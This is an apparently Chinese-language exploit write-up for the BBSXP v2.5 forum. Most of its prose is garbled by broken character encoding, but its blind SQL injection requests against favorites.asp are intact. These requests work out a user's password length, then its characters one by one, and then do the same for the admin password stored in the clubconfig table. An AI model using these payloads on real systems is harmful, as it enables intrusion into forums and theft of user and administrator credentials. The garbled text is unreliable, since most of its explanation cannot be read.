ôSQLע룬͸BBSXPٷվ̨Ķ̳

³:йűȫС
:Ҫģ
©Դ:BBSXP
Ӱ汾:v2.5
©ύ:2003-10-21 21:46:
:
ַ:www.xren.net л簲ȫ

Ϊ˼ٶʱ䣬վԣڱز԰ѹԱ123456ΪҼٲµʱ䣬ȻóҲУűϺܶࡣ

del&id=2
ȵղһַ鿴Դļdel&idҵID

һǲ©ɹɾͱʾ©ɹɾ˵©

favorites.asp?menu=del&id=2 and 1=1


ѯû볤
favorites.asp?menu=del&id=3 and 1=(select count(*) from [user] where username='xren' and len(userpass)='5')
-----------------------------------------XRENĳҪµûuserpass)='5'ʾ볤ȡ
ע:
ݿûֶΪusername ֶΪuserpass(ע룬ûоκμ)
ھõһɡҳһУxren.
sql˽սǶ֪whereΪ£Żִ䣡
ִĽdelһԼղصַôǵ
1=(select count(*) from [user] where username='kongweb' and len(userpass)=5)")
ΪĻdelidΪ576ղصַ.
һ¡䣬ûxren,볤Ϊ5ʱ򣬾һ¼ء
count(*)˼Ƿļ¼պΪ1Ҳ˵ʽ
Ȼɹǲdelղصַġ
---------------------------------------------------------------------

ûڳɹɾ˵볤Ȳ56һʱԲµ볤Ϊ6

ѯû

favorites.asp?menu=del&id=4 and 1=(select count(*) from [user] where username='xren' and mid(userpass,1,1)='a')

ûгɹɾ˵벻aһ1


-----------------------------------------
ע:
˵һmid÷
mid(ַ,ʼλ,) һȡַضλãضȵһ.
mid(userpass,1,1)='a'ʾȡĵһλǲ'a' עһҪϵŲ.
---------------------------------------------------------------------




ǫ̃;

  һĿṹclubconfigһֶνУadminpasswordֶε.Ҳܱ.
  ҪľǾҪȡֶεֵ.
  һ㶼ֻһ¼count(*) Ҳֻһ.

  ٴǵڶ©.в½.
  һİ취ǫ̃볤Ϊ9λ.
  favorites.asp?menu=del&id=590 and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)



  µһλ
  favorites.asp?menu=del&id=591 and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)='b')
  okһλˡ
  favorites.asp?menu=del&id=592 and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)='b')
